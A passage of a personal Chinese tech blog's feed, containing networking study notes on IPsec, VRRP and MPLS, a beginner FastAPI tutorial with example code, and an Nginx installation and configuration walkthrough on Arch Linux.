&lt;li&gt;&lt;strong&gt;ESP (&lt;code&gt;Encapsulating Security Payload&lt;/code&gt;)&lt;/strong&gt;：提供&lt;strong&gt;数据完整性&lt;/strong&gt;、&lt;strong&gt;身份验证&lt;/strong&gt;和&lt;strong&gt;数据机密性（加密）&lt;/strong&gt;。这是目前应用最广泛的IPsec协议。&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;1.10. VRRP (Virtual Router Redundancy Protocol)&lt;/h2&gt;
&lt;p&gt;在局域网中，如果作为默认网关的路由器发生故障，整个网络的主机将无法访问外部网络，这形成了一个&lt;strong&gt;单点故障&lt;/strong&gt;。&lt;code&gt;VRRP&lt;/code&gt;就是为了解决这个问题而设计的网关冗余协议。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;定义&lt;/strong&gt;：&lt;strong&gt;虚拟路由器冗余协议 (&lt;code&gt;VRRP&lt;/code&gt;)&lt;/strong&gt; 是一种容错协议，可以将多台物理路由器组织成一个“&lt;strong&gt;虚拟路由器&lt;/strong&gt;”，从而对外提供一个高可用的默认网关。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;工作原理&lt;/strong&gt;：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;虚拟路由器&lt;/strong&gt;：在一个&lt;code&gt;VRRP&lt;/code&gt;组中，多台物理路由器共享一个&lt;strong&gt;虚拟&lt;code&gt;IP&lt;/code&gt;地址&lt;/strong&gt;和&lt;strong&gt;虚拟&lt;code&gt;MAC&lt;/code&gt;地址&lt;/strong&gt;。网络中的所有客户端都将这个虚拟&lt;code&gt;IP&lt;/code&gt;地址配置为它们的默认网关。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;Master&lt;/code&gt;和&lt;code&gt;Backup&lt;/code&gt;&lt;/strong&gt;：在任何时刻，&lt;code&gt;VRRP&lt;/code&gt;组中只有一台路由器处于 &lt;strong&gt;&lt;code&gt;Master&lt;/code&gt;(主)&lt;/strong&gt; 状态，它实际拥有虚拟IP地址并负责转发数据包。组内其他路由器则处于 &lt;strong&gt;&lt;code&gt;Backup&lt;/code&gt; (备)&lt;/strong&gt; 状态。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;心跳检测&lt;/strong&gt;：&lt;code&gt;Master&lt;/code&gt;路由器会周期性地发送&lt;code&gt;VRRP&lt;/code&gt;通告报文（心跳），向&lt;code&gt;Backup&lt;/code&gt;路由器宣告自己处于活动状态。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;故障切换&lt;/strong&gt;：如果&lt;code&gt;Backup&lt;/code&gt;路由器在一定时间内没有收到&lt;code&gt;Master&lt;/code&gt;的心跳报文，它会认为&lt;code&gt;Master&lt;/code&gt;已经出现故障。此时，优先级最高的&lt;code&gt;Backup&lt;/code&gt;路由器会自动切换为新的&lt;code&gt;Master&lt;/code&gt;，接管虚拟&lt;code&gt;IP&lt;/code&gt;地址和&lt;code&gt;MAC&lt;/code&gt;地址，并开始转发数据。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;无缝切换&lt;/strong&gt;：这个切换过程对客户端是完全透明的，客户端无需进行任何更改，从而保证了网络连接的连续性。&lt;/li&gt;
&lt;/ol&gt;
&lt;hr /&gt;
&lt;h2&gt;1.11. MPLS (Multiprotocol Label Switching)&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;MPLS&lt;/code&gt;是一种高性能的电信级网络技术，它在传统的IP路由（第三层）和数据链路层交换（第二层）之间工作，常被称为“&lt;strong&gt;2.5层&lt;/strong&gt;”技术。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;定义&lt;/strong&gt;：&lt;strong&gt;多协议标签交换 (&lt;code&gt;MPLS&lt;/code&gt;)&lt;/strong&gt; 通过给数据包预先分配简短、固定长度的“&lt;strong&gt;标签（&lt;code&gt;Label&lt;/code&gt;）&lt;/strong&gt;”，并根据标签进行转发，而不是像传统路由那样在每一跳都查找复杂的IP路由表。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;工作原理&lt;/strong&gt;：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;标签分发&lt;/strong&gt;：&lt;code&gt;MPLS&lt;/code&gt;网络中的路由器（称为&lt;code&gt;LSR&lt;/code&gt; - 标签交换路由器）会通过&lt;code&gt;LDP&lt;/code&gt;（标签分发协议）等协议，预先为网络中的IP前缀（路由）建立标签映射关系，形成&lt;strong&gt;标签转发信息库 (&lt;code&gt;LFIB&lt;/code&gt;)&lt;/strong&gt;。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;入口打标 (&lt;code&gt;Push&lt;/code&gt;)&lt;/strong&gt;：当一个IP数据包进入&lt;code&gt;MPLS&lt;/code&gt;网络时，入口路由器（&lt;code&gt;Ingress LER&lt;/code&gt;）会进行一次常规的&lt;code&gt;IP&lt;/code&gt;路由查找，然后给这个数据包压入一个或多个&lt;code&gt;MPLS&lt;/code&gt;标签，形成一个带标签的数据包。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;标签交换 (&lt;code&gt;Swap&lt;/code&gt;)&lt;/strong&gt;：在&lt;code&gt;MPLS&lt;/code&gt;网络内部，核心的&lt;code&gt;LSR&lt;/code&gt;路由器不再查看&lt;code&gt;IP&lt;/code&gt;头部。它们只需读取最外层的标签，在&lt;code&gt;LFIB&lt;/code&gt;中进行极速查找，然后“交换”（替换）标签，并将数据包转发到下一个&lt;code&gt;LSR&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;出口弹标 (&lt;code&gt;Pop&lt;/code&gt;)&lt;/strong&gt;：当数据包到达&lt;code&gt;MPLS&lt;/code&gt;网络的出口路由器（&lt;code&gt;Egress LER&lt;/code&gt;）时，标签被移除（弹出），恢复成原始的&lt;code&gt;IP&lt;/code&gt;数据包，然后继续进行标准的&lt;code&gt;IP&lt;/code&gt;转发。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;主要优势&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;高速转发&lt;/strong&gt;：基于标签的精确匹配交换比基于&lt;code&gt;IP&lt;/code&gt;地址的最长前缀匹配查找要快得多。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;流量工程 (&lt;code&gt;Traffic Engineering&lt;/code&gt;)&lt;/strong&gt;：&lt;code&gt;MPLS&lt;/code&gt;可以预先设定数据流的路径（建立&lt;code&gt;LSP&lt;/code&gt; - 标签交换路径），而不必完全遵循&lt;code&gt;IGP&lt;/code&gt;计算出的最短路径。这使得网络管理员可以精细地控制流量，以优化带宽利用率或绕过拥塞点。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;VPN支持&lt;/strong&gt;：&lt;code&gt;MPLS&lt;/code&gt;是构建大规模、高性能&lt;code&gt;VPN&lt;/code&gt;（特别是&lt;code&gt;MPLS&lt;/code&gt; &lt;code&gt;L3VPN&lt;/code&gt;）的基础技术，被全球各大&lt;code&gt;ISP&lt;/code&gt;广泛采用。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;仍在咕咕咕中&lt;/p&gt;
</content:encoded><author>s3loy</author></item><item><title>Fast Learning FastAPI</title><link>https://blog.s3loy.tech/posts/fast-learning-fastapi</link><guid isPermaLink="true">https://blog.s3loy.tech/posts/fast-learning-fastapi</guid><pubDate>Sat, 07 Jun 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;code&gt;pip install fastapi uvicorn&lt;/code&gt;&lt;/p&gt;
&lt;h2&gt;1.1. part 1 &lt;strong&gt;简单创建&lt;/strong&gt;&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#hello_world.py
from fastapi import FastAPI
import uvicorn

app = FastAPI()

@app.get(&quot;/&quot;)
async def read_root():
    return {&quot;Hello&quot;: &quot;World&quot;}

if __name__ == &apos;__main__&apos;:
    uvicorn.run(app)
    
#*或者在终端中使用uvicorn main:app --reload
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;我们添加&lt;code&gt;@app.get&lt;/code&gt;部分&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;@app.get(&quot;/items/{item_id}&quot;)
async def read_item(item_id: int):
    return {&quot;item_id&quot;: item_id}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;此时访问&lt;code&gt;http://127.0.0.1:8000/items/5&lt;/code&gt;    ，会发现返回了&lt;code&gt;{&quot;item_id&quot;:5}&lt;/code&gt;,&lt;/p&gt;
&lt;p&gt;如果访问的是&lt;a href=&quot;http://127.0.0.1:8000/items/sast&quot;&gt;127.0.0.1:8000/items/sast&lt;/a&gt;   ，会发现返回的是&lt;code&gt;{&quot;detail&quot;:[{&quot;type&quot;:&quot;int_parsing&quot;,&quot;loc&quot;:[&quot;path&quot;,&quot;item_id&quot;],&quot;msg&quot;:&quot;Input should be a valid integer, unable to parse string as an integer&quot;,&quot;input&quot;:&quot;sast&quot;}]}&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;我们在&lt;code&gt;item_id&lt;/code&gt;处使用注解要求其为&lt;code&gt;int&lt;/code&gt;类型，能看到它会自动检验。&lt;/p&gt;
&lt;p&gt;再向代码中添加&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;fake_items_db = [{&quot;item_name&quot;: &quot;Foo&quot;}, {&quot;item_name&quot;: &quot;Bar&quot;}, {&quot;item_name&quot;: &quot;Baz&quot;}]
@app.get(&quot;/items/&quot;)
def read_fake_item(skip: int = 0, limit: int = 10):
    return fake_items_db[skip : skip + limit]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;此时访问&lt;code&gt;http://127.0.0.1:8000/items/?skip=0&amp;amp;limit=2&lt;/code&gt;，会发现返回是&lt;code&gt;[{&quot;item_name&quot;:&quot;Foo&quot;},{&quot;item_name&quot;:&quot;Bar&quot;}]&lt;/code&gt;&lt;/p&gt;
&lt;h2&gt;1.2. part 2 &lt;strong&gt;响应模型&lt;/strong&gt;&lt;/h2&gt;
&lt;h3&gt;请求体和 Pydantic 模型&lt;/h3&gt;
&lt;p&gt;为了定义请求体的结构，FastAPI 使用了 Pydantic 库。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from fastapi import FastAPI
from pydantic import BaseModel

class Item(BaseModel):
    name: str
    description: str | None = None
    price: float
    tax: float | None = None

app = FastAPI()

@app.post(&quot;/items/&quot;)
async def create_item(item: Item):
    return item
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后也可以顺手用&lt;code&gt;requests&lt;/code&gt;库来验证一下&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import requests

url = &quot;http://127.0.0.1:8000/items/&quot;

my_item = {
  &quot;name&quot;: &quot;111test&quot;,
  &quot;description&quot;: &quot;null&quot;,
  &quot;price&quot;: 1145.14,
  &quot;tax&quot;: 666.25
}

response = requests.post(url, json=my_item)

print(&quot;状态码 (Status Code):&quot;, response.status_code)
print(&quot;响应内容 (Response JSON):&quot;)
print(response.json())
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;状态码 (Status Code): 200 响应内容 (Response JSON): {&apos;name&apos;: &apos;111test&apos;, &apos;description&apos;: &apos;null&apos;, &apos;price&apos;: 1145.14, &apos;tax&apos;: 666.25}&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;我们可以修改响应结果，为了让部分数据不可见之类的&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;class ItemIn(BaseModel):
    name: str
    description: str | None = None
    price: float
    tax: float | None = None
    
class ItemOut(BaseModel):
    name: str
    price: float

app = FastAPI()

@app.post(&quot;/items/&quot;, response_model=ItemOut)
async def create_item(item: ItemIn):
    return item
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这样用相同的测试会发现是&lt;code&gt;{&apos;name&apos;: &apos;111test&apos;, &apos;price&apos;: 1145.14}&lt;/code&gt;&lt;/p&gt;
&lt;h2&gt;1.3. part 3 &lt;strong&gt;依赖注入&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;Depends&lt;/code&gt; 会告诉 &lt;code&gt;FastAPI&lt;/code&gt;，``read_items&lt;code&gt;函数依赖于&lt;/code&gt;common_parameters` 函数的返回值。它的核心优势在于 &lt;strong&gt;代码复用&lt;/strong&gt; 和 &lt;strong&gt;逻辑分离&lt;/strong&gt;。&lt;/p&gt;
&lt;h3&gt;1.3.1. 共享通用参数&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;from fastapi import Depends, FastAPI
from typing import Annotated

app = FastAPI()

# 这是一个“依赖项”函数
async def common_parameters(q: str | None = None, skip: int = 0, limit: int = 100):
    return {&quot;q&quot;: q, &quot;skip&quot;: skip, &quot;limit&quot;: limit}

# Python 3.9+ 推荐使用 Annotated 来组织 Depends
# CommonsDep 的意思就是：我需要一个 dict，这个 dict 是通过调用 common_parameters 函数得到的
CommonsDep = Annotated[dict, Depends(common_parameters)]

fake_items_db = [{&quot;item_name&quot;: &quot;Foo&quot;}, {&quot;item_name&quot;: &quot;Bar&quot;}, {&quot;item_name&quot;: &quot;Baz&quot;}]
fake_users_db = [{&quot;user_name&quot;: &quot;Alice&quot;}, {&quot;user_name&quot;: &quot;Bob&quot;}, {&quot;user_name&quot;: &quot;Charlie&quot;}]


@app.get(&quot;/items/&quot;)
async def read_items(commons: CommonsDep):
    # commons 参数现在就是一个字典，比如 {&quot;q&quot;: None, &quot;skip&quot;: 0, &quot;limit&quot;: 100}
    response = {}
    if commons[&quot;q&quot;]:
        response.update({&quot;query&quot;: commons[&quot;q&quot;]})
    
    items = fake_items_db[commons[&quot;skip&quot;] : commons[&quot;skip&quot;] + commons[&quot;limit&quot;]]
    response.update({&quot;items&quot;: items})
    return response

@app.get(&quot;/users/&quot;)
async def read_users(commons: CommonsDep):
    # read_users 函数也轻松地复用了分页和查询逻辑
    response = {}
    if commons[&quot;q&quot;]:
        response.update({&quot;query&quot;: commons[&quot;q&quot;]})
    
    users = fake_users_db[commons[&quot;skip&quot;] : commons[&quot;skip&quot;] + commons[&quot;limit&quot;]]
    response.update({&quot;users&quot;: users})
    return response
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;现在，&lt;code&gt;/items/&lt;/code&gt;和 &lt;code&gt;/users/&lt;/code&gt; 两个端点都拥有了同样的分页和查询能力，而我们只写了一次核心逻辑。这就是依赖注入最直观的好处。&lt;/p&gt;
&lt;h3&gt;1.3.2. 依赖项作为“守卫”&lt;/h3&gt;
&lt;p&gt;依赖注入一个更强大的用途是处理认证和授权&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from fastapi import Header, HTTPException

async def verify_token(x_token: Annotated[str, Header()]):
    &quot;&quot;&quot;
    这个依赖项会检查请求头中是否包含 &apos;X-Token&apos;，并且值是否为 &apos;fake-super-secret-token&apos;
    Header() 告诉 FastAPI 这个参数要从请求头里获取。
    &quot;&quot;&quot;
    if x_token != &quot;fake-super-secret-token&quot;:
        raise HTTPException(status_code=400, detail=&quot;X-Token header invalid&quot;)
    return x_token


@app.get(&quot;/protected-route/&quot;, dependencies=[Depends(verify_token)])
async def read_protected_route():
    &quot;&quot;&quot;
    这个端点被依赖项保护起来了。
    只有当请求头包含 X-Token: fake-super-secret-token 时，才能访问成功。
    否则，客户端会直接收到 400 错误。
    &quot;&quot;&quot;
    return {&quot;message&quot;: &quot;Welcome, you have the correct token!&quot;}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;1.4. part 4 组织大型应用&lt;/h2&gt;
&lt;p&gt;当API越来越多，把所有东西都写在同一个 &lt;code&gt;main.py&lt;/code&gt; 文件里会变得难以维护。&lt;code&gt;APIRouter&lt;/code&gt; 允许你将API按功能模块拆分到不同的文件中。&lt;/p&gt;
&lt;p&gt;文件树如下&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/my_app
|-- /routers
|   |-- items.py
|   |-- users.py
|-- main.py
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后内容如下&lt;/p&gt;
&lt;p&gt;&lt;code&gt;routers/items.py&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# routers/items.py
from fastapi import APIRouter, HTTPException
from pydantic import BaseModel
from typing import List

class Item(BaseModel):
    name: str

# 1. 创建一个 APIRouter 实例
router = APIRouter(
    prefix=&quot;/items&quot;,            # 为这个路由下的所有路径添加URL前缀
    tags=[&quot;Items&quot;],             # 在API文档中为它们分组
    responses={404: {&quot;description&quot;: &quot;Item not found&quot;}}, # 统一的错误响应
)

fake_items_db = [{&quot;name&quot;: &quot;Foo&quot;}, {&quot;name&quot;: &quot;Bar&quot;}, {&quot;name&quot;: &quot;Baz&quot;}]

@router.get(&quot;/&quot;, response_model=List[Item])
async def read_items(skip: int = 0, limit: int = 10):
    return fake_items_db[skip : skip + limit]

@router.get(&quot;/{item_id}&quot;)
async def read_item(item_id: int):
    &quot;&quot;&quot;
    根据ID获取单个物品。
    &quot;&quot;&quot;
    # 在真实应用中，这里会是数据库查询
    if item_id &amp;gt;= len(fake_items_db) or item_id &amp;lt; 0:
        raise HTTPException(status_code=404, detail=&quot;Item not found&quot;)
    return fake_items_db[item_id]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;routers/users.py&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# routers/users.py

from fastapi import APIRouter, HTTPException
from pydantic import BaseModel, EmailStr
from typing import List, Optional

class UserBase(BaseModel):
    username: str
    email: EmailStr  # Pydantic内置的Email验证类型
    full_name: Optional[str] = None

class UserCreate(UserBase):
    password: str

class UserPublic(UserBase):
    id: int
    is_active: bool

router = APIRouter(
    prefix=&quot;/users&quot;,
    tags=[&quot;Users&quot;],
    responses={404: {&quot;description&quot;: &quot;User not found&quot;}},
)

fake_users_db = {
    1: {
        &quot;id&quot;: 1,
        &quot;username&quot;: &quot;john.doe&quot;,
        &quot;email&quot;: &quot;john.doe@example.com&quot;,
        &quot;full_name&quot;: &quot;John Doe&quot;,
        &quot;hashed_password&quot;: &quot;fake_hashed_password_123&quot;, # 模拟存储的是哈希后的密码
        &quot;is_active&quot;: True,
    },
    2: {
        &quot;id&quot;: 2,
        &quot;username&quot;: &quot;jane.smith&quot;,
        &quot;email&quot;: &quot;jane.smith@example.com&quot;,
        &quot;full_name&quot;: &quot;Jane Smith&quot;,
        &quot;hashed_password&quot;: &quot;another_fake_password_456&quot;,
        &quot;is_active&quot;: False,
    }
}


@router.get(&quot;/&quot;, response_model=List[UserPublic])
async def read_users(skip: int = 0, limit: int = 10):
    &quot;&quot;&quot;
    获取一个用户列表，同样支持分页。
    &quot;&quot;&quot;
    users_list = list(fake_users_db.values())
    return users_list[skip : skip + limit]

@router.post(&quot;/&quot;, response_model=UserPublic, status_code=201)
async def create_user(user: UserCreate):
    &quot;&quot;&quot;
    创建一个新用户。
    在真实世界中，你会在这里哈希密码，然后存入数据库。
    &quot;&quot;&quot;
    new_user_id = max(fake_users_db.keys()) + 1
    
    db_user = {
        &quot;id&quot;: new_user_id,
        &quot;username&quot;: user.username,
        &quot;email&quot;: user.email,
        &quot;full_name&quot;: user.full_name,
        &quot;hashed_password&quot;: f&quot;hashed_{user.password}&quot;, # 假装哈希了密码
        &quot;is_active&quot;: True, 
    }
    
    fake_users_db[new_user_id] = db_user
    
    return db_user


@router.get(&quot;/{user_id}&quot;, response_model=UserPublic)
async def read_user(user_id: int):
    &quot;&quot;&quot;
    根据ID获取单个用户信息。
    &quot;&quot;&quot;
    if user_id not in fake_users_db:
        raise HTTPException(status_code=404, detail=&quot;User not found&quot;)
    return fake_users_db[user_id]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;main.py&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# main.py
from fastapi import FastAPI
from routers import items, users  # &amp;lt;-- 在这里导入 users

app = FastAPI(title=&quot;我的模块化大型应用&quot;)

app.include_router(items.router)
app.include_router(users.router)

@app.get(&quot;/&quot;)
async def root():
    return {&quot;message&quot;: &quot;Welcome to the main application&quot;}

if __name__ ==&apos;__main__&apos;:
    import uvicorn
    uvicorn.run(app)
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;思考&lt;/strong&gt;：目前items和users的数据是完全隔离的，并且每次服务器重启都会丢失。在真实应用中，这些数据应该存放在一个共享的、持久化的数据库中。接下来，我们将学习如何将FastAPI与真实数据库连接起来。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;1.5. part 5 异步数据库操作&lt;/h2&gt;
&lt;p&gt;这边咕咕掉了&lt;/p&gt;
</content:encoded><author>s3loy</author></item><item><title>Nginx</title><link>https://blog.s3loy.tech/posts/nginx</link><guid isPermaLink="true">https://blog.s3loy.tech/posts/nginx</guid><pubDate>Wed, 23 Jul 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;1. installation&lt;/h2&gt;
&lt;p&gt;on &lt;strong&gt;arch linux&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ sudo pacman -Syu
$ sudo pacman -S nginx

$ sudo systemctl start nginx.service
$ sudo systemctl enable nginx.service

# $ sudo systemctl status nginx.service


s3loy@archlinux ~]$ ip a
1: lo: &amp;lt;LOOPBACK,UP,LOWER_UP&amp;gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host noprefixroute 
       valid_lft forever preferred_lft forever
2: ens33: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 00:0c:29:4f:fa:7f brd ff:ff:ff:ff:ff:ff
    altname enp2s1
    altname enx000c294ffa7f
    inet 192.168.209.128/24 brd 192.168.209.255 scope global dynamic noprefixroute ens33
       valid_lft 1592sec preferred_lft 1367sec
    inet6 fe80::98ef:2b0d:cbd3:648c/64 scope link 
       valid_lft forever preferred_lft forever
       
 #  inet 192.168.209.128

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;主机直接访问 &lt;a href=&quot;http://192.168.209.128/&quot;&gt;http://192.168.209.128/&lt;/a&gt;    就可以看到&lt;code&gt;Welcome to nginx!&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ cat /etc/nginx/nginx.conf

#user http;
worker_processes  1;

#error_log  logs/error.log;
#error_log  logs/error.log  notice;
#error_log  logs/error.log  info;

#pid        logs/nginx.pid;


# Load all installed modules
include modules.d/*.conf;

events {
    worker_connections  1024;
}


http {
    include       mime.types;
    default_type  application/octet-stream;

    #log_format  main  &apos;$remote_addr - $remote_user [$time_local] &quot;$request&quot; &apos;
    #                  &apos;$status $body_bytes_sent &quot;$http_referer&quot; &apos;
    #                  &apos;&quot;$http_user_agent&quot; &quot;$http_x_forwarded_for&quot;&apos;;

    #access_log  logs/access.log  main;

    sendfile        on;
    #tcp_nopush     on;

    #keepalive_timeout  0;
    keepalive_timeout  65;

    #gzip  on;

    server {
        listen       80;
        server_name  localhost;

        #charset koi8-r;

        #access_log  logs/host.access.log  main;

        location / {
            root   /usr/share/nginx/html;
            index  index.html index.htm;
        }

        #error_page  404              /404.html;

        # redirect server error pages to the static page /50x.html
        #
        error_page   500 502 503 504  /50x.html;
        location = /50x.html {
            root   /usr/share/nginx/html;
        }

        # proxy the PHP scripts to Apache listening on 127.0.0.1:80
        #
        #location ~ \.php$ {
        #    proxy_pass   http://127.0.0.1;
        #}

        # pass the PHP scripts to FastCGI server listening on 127.0.0.1:9000
        #
        #location ~ \.php$ {
        #    root           html;
        #    fastcgi_pass   127.0.0.1:9000;
        #    fastcgi_index  index.php;
        #    fastcgi_param  SCRIPT_FILENAME  /scripts$fastcgi_script_name;
        #    include        fastcgi_params;
        #}

        # deny access to .htaccess files, if Apache&apos;s document root
        # concurs with nginx&apos;s one
        #
        #location ~ /\.ht {
        #    deny  all;
        #}
    }


    # another virtual host using mix of IP-, name-, and port-based configuration
    #
    #server {
    #    listen       8000;
    #    listen       somename:8080;
    #    server_name  somename  alias  another.alias;

    #    location / {
    #        root   html;
    #        index  index.html index.htm;
    #    }
    #}


    # HTTPS server
    #
    #server {
    #    listen       443 ssl;
    #    server_name  localhost;

    #    ssl_certificate      cert.pem;
    #    ssl_certificate_key  cert.key;

    #    ssl_session_cache    shared:SSL:1m;
    #    ssl_session_timeout  5m;

    #    ssl_ciphers  HIGH:!aNULL:!MD5;
    #    ssl_prefer_server_ciphers  on;

    #    location / {
    #        root   html;
    #        index  index.html index.htm;
    #    }
    #}

}

&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;block&lt;/code&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;http { ... }&lt;/code&gt;: 配置 &lt;code&gt;HTTP&lt;/code&gt;相关功能的顶级块。几乎所有的 Web 服务配置都在这里面。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;server { ... }&lt;/code&gt;: 定义一个“虚拟主机”,可以在一个 &lt;code&gt;Nginx&lt;/code&gt; 里配置多个 &lt;code&gt;server&lt;/code&gt; 块，来托管不同的网站&lt;/li&gt;
&lt;li&gt;&lt;code&gt;location / { ... }&lt;/code&gt;: 定义当请求的 URL 匹配某个路径时，应该如何处理。&lt;code&gt;location /&lt;/code&gt;表示匹配所有请求。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;$ mkdir -p ~/my-website/images
$ echo &quot;&amp;lt;h1&amp;gt;hello,this is our first website&amp;lt;/h1&amp;gt;&quot; &amp;gt; ~/my-website/index.html
$ echo &quot;&amp;lt;p&amp;gt;this is about&amp;lt;/p&amp;gt;&quot; &amp;gt; ~/my-website/about.html

$ sudo cp /etc/nginx/nginx.conf /etc/nginx/nginx.conf.bak
# backup

$ sudo vim /etc/nginx/nginx.conf

#修改
# ... http 块内部 ...
server {
    listen       80;
    server_name  localhost; 
    # ... 其他配置 ...
    location / {
        root   /home/s3loy/my-website;
        index  index.html index.htm;
    }
    # ... 其他配置 ...
}
# ...

$ sudo nginx -t
#配置成功即可

$ sudo systemctl reload nginx
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;访问&lt;a href=&quot;http://192.168.209.128/about.html&quot;&gt;http://192.168.209.128/about.html&lt;/a&gt;   发现&lt;code&gt;403 Forbidden&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;此时考虑到文件夹为新建且处于&lt;code&gt;whoami&lt;/code&gt;用户下，所以&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ ps aux | grep &quot;nginx: worker process&quot;
http        2179  0.0  0.1  15388  5140 ?        S    16:13   0:00 nginx: worker process

$ chmod o+x /home/s3loy
$ ls -ld ~/my-website
drwxr-xr-x 3 s3loy s3loy 4096 Jul 23 16:10 /home/s3loy/my-website

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;直接重返链接就发现页面可以刷新出来了&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;当然这也很明显，请不要把网站放在自己的目录当中&lt;/strong&gt;。出于隐私和安全考虑，默认权限非常严格&lt;/p&gt;
&lt;p&gt;在&lt;code&gt;arch linux&lt;/code&gt;当中，&lt;code&gt;http&lt;/code&gt;推荐放在&lt;code&gt;/srv/http&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ ls -ld /srv/http
drwxr-xr-x 2 root root 4096 May  3 19:26 /srv/http
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;在其他很多 &lt;code&gt;Linux&lt;/code&gt; 系统上，常用目录是 &lt;code&gt;/var/www/html&lt;/code&gt;&lt;/p&gt;
&lt;h2&gt;2. feature&lt;/h2&gt;
&lt;h3&gt;2.1. &lt;strong&gt;Nginx 的灵魂&lt;/strong&gt;:&lt;strong&gt;事件驱动的异步非阻塞架构&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;我们以这个简单的静态网页为例，当你请求静态文件时，&lt;code&gt;Nginx&lt;/code&gt; 的 &lt;code&gt;Worker&lt;/code&gt; 进程接收到请求，告诉操作系统内核：“把 &lt;code&gt;~/my-website/index.html&lt;/code&gt; 这个文件的数据发给这个用户”。然后 &lt;code&gt;Worker&lt;/code&gt; 进程就去处理其他请求了。当内核把文件数据准备好后，会通知 &lt;code&gt;Worker&lt;/code&gt; 进程，&lt;code&gt;Worker&lt;/code&gt; 进程再把数据发回给浏览器。这个过程极其高效，因为它利用了操作系统的 &lt;code&gt;sendfile&lt;/code&gt; 机制，避免了数据在内核和用户空间之间的多次复制，&lt;code&gt;CPU&lt;/code&gt; 占用极低。&lt;/p&gt;
&lt;hr /&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;sendfile&lt;/code&gt;机制&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;用户空间 (&lt;code&gt;User Space&lt;/code&gt;)&lt;/strong&gt; 和 &lt;strong&gt;内核空间 (&lt;code&gt;Kernel Space&lt;/code&gt;)&lt;/strong&gt;。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;用户空间：&lt;/strong&gt; 应用程序（如 &lt;code&gt;Nginx&lt;/code&gt; 进程）运行的地方。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;内核空间：&lt;/strong&gt; 操作系统内核运行的地方，它能直接操作硬件（如磁盘、网卡）。&lt;/li&gt;
&lt;/ul&gt;
